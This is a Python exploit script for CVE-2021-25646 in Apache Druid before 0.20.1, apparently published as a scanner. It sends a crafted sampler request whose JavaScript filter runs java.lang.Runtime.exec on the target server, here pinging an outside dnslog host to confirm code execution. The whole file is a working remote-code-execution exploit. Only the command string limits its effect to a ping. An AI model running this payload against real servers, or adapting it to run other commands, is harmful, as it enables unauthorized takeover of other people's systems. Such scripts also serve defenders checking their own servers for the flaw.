cve-2021-25646.py

import click
import requests
import sys
import json

requests.packages.urllib3.disable_warnings()

def title():
    print('+------------------------------------------')
    print('+  \033[34mgithub: https://github.com/yaunsky                                   \033[0m')
    print('+  \033[34mVersion: Apache Druid < 0.20.1                                              \033[0m')
    print('+  \033[36m使用格式:  python3 cve-2021-25646.py   --help                                         \033[0m')
    print('+------------------------------------------')


def scan(host):
    url = str(host)+"/druid/indexer/v1/sampler"
    headers = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0",
        "Accept": "application/json, text/plain, */*",
        "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
        "Content-Type": "application/json"
    }
    payload = {
        "type":"index",
        "spec":{
            "ioConfig":{
                "type":"index",
                "inputSource":{
                    "type":"inline",
                    "data":"{\"isRobot\":true,\"channel\":\"#x\",\"timestamp\":\"2021-2-1T14:12:24.050Z\",\"flags\":\"x\",\"isUnpatrolled\":false,\"page\":\"1\",\"diffUrl\":\"https://xxx.com\",\"added\":1,\"comment\":\"Botskapande Indonesien omdirigering\",\"commentLength\":35,\"isNew\":true,\"isMinor\":false,\"delta\":31,\"isAnonymous\":true,\"user\":\"Lsjbot\",\"deltaBucket\":0,\"deleted\":0,\"namespace\":\"Main\"}"
                },
                "inputFormat":{
                    "type":"json",
                    "keepNullColumns":True
                }
            },
            "dataSchema":{
                "dataSource":"sample",
                "timestampSpec":{
                    "column":"timestamp",
                    "format":"iso"
                },
                "dimensionsSpec":{

                },
                "transformSpec":{
                    "transforms":[],
                    "filter":{
                        "type":"javascript",
                        "dimension":"added",
                        "function":"function(value) {java.lang.Runtime.getRuntime().exec('ping t6gx5w.dnslog.cn')}",
                        "":{
                            "enabled":True
                        }
                    }
                }
            },
            "type":"index",
            "tuningConfig":{
                "type":"index"
            }
        },
        "samplerConfig":{
            "numRows":500,
            "timeoutMs":15000
        }
    }
    try:
        rep = requests.post(url=url, headers=headers, data=json.dumps(payload), timeout=5, verify=False)
    except:
        print("漏洞不存在")
    if rep.status_code == 200:
        print("\033[36m漏洞存在，请前往dnslog平台再次确认")
    else:
        print("漏洞不存在")


@click.command()
@click.option("-h", "--host", help='Target URL; Example:http://ip:port。')
def main(host):
    title()
    scan(host)


if __name__ == '__main__':
    main()